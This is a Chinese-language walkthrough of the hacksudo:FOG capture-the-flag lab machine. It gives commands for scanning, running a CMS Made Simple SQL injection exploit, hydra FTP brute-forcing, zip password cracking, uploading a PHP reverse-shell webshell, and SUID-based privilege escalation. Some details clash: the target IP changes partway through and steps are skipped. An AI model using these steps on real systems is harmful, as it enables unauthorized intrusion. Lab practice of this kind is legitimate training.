Hacksudo:FOG
一、基本信息
名称:hacksudo:FOG
发布日期:2021.5.14
作者:Vishal Waghmare
系列:hacksudo
二、靶机简介
Flags:
hacksudo:/flag1.txt
www-data:/var/www/flag2.txt
root:/root/root.txt难度:中等
三、文件信息
文件名:hacksudo-FOG.zip
文件大小:1.3GB
下载地址:
MD5: FE8360E56637FE0D278EF2C38F15B969
SHA1: 31B1210F45C74D3062A0EDD5677C6BB770EB26AF
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机FOG和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现开放了很多端口,访问主页源码中隐藏了一个index1.html:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.112 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,index1.html提示我们一个音频文件提取工具:
1 gobuster dir -u http://192.168.56.112/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
CMS漏洞利用
1.我们将提示的解析工具下载下来,尝试用工具解析index.html页的smoke.mp4,但不是wav格式没有信息:
1
2
3
4 git clone https://github.com/hacksudo/SoundStegno.git,获取工具
cd SoundStegno
wget http://192.168.56.112/smoke.mp4
python3 ExWave.py -f smoke.mp42.通过之前的目录扫描,我们发现有cms页面和一个dict.txt文件:
3.将dict.txt文件下载,很可能是密码字典,再去查询cms的漏洞,发现是2.2.5版本,有未经身份验证的SQL注入漏洞可以使用:
1
2 wget http://192.168.56.112/dict.txt
whatweb http://192.168.56.112/cms,查看框架版本
1 python3 cmsmadesimple-exploit.py -u http://192.168.56.112/cms,漏洞利用程序获取见:https://gist.github.com/kriss-u/321f0418778697e2ec919f04664ceb4b4.知晓了用户名,写入user,可以尝试使用hydra爆破密码,登录FTP:
1 hydra -L user -P dict.txt 192.168.56.112 ftp
FTP登录,提取音频隐藏信息
1.可以使用hacksudo用户FTP登录,获取到第一个flag,即flag1.txt:
2.进入hacksudo_ISRO_bak目录,发现secr3tSteg.zip文件,需要密码,我们用zip2john配合john获得密码:
1 zip2john secr3tSteg.zip >> hash.txt3.解压得到的hacksudoSTEGNO.wav可以使用SoundStegno进行解密:
1 python3 ExWave.py -f hacksudoSTEGNO.wav4.根据之前index1.html页源码的提示,需要用到caesar-cipher解密,我们解密这个数据可以得到一个用户名密码,这个用户与密码可用于登录cms后台:
文件上传漏洞GETSHELL
1.进入cms后台的content页,可以上传phtml文件后缀的webshell,这里我们使用kali自带的webshell进行修改后上传:
1 vim /usr/share/webshells/php/php-reverse-shell.php2.kali开启对应端口监听,触发webshell,利用python生成交互式shell:
1 python3 -c 'import pty; pty.spawn("/bin/bash");'3.在/var/www目录下能发现第二个flag,即flag2.txt:
初步提权,SSH登录
1.查看具有root权限的suid文件,尝试提权,发现/usr/bin/look:
1 find / -perm -u=s -type f 2>/dev/null3.爆出isro用户密码为qwerty,可以进行ssh登录,然后在目录下查看到user.txt:
root提权
1.我们进入/fog目录下,发现有一个fog文件属主为root,查看不出来,但是执行后与python2.7相关联,则可以通过python进行root提权:
2.在/root目录下的root.txt即是我们需要的最后一个flag: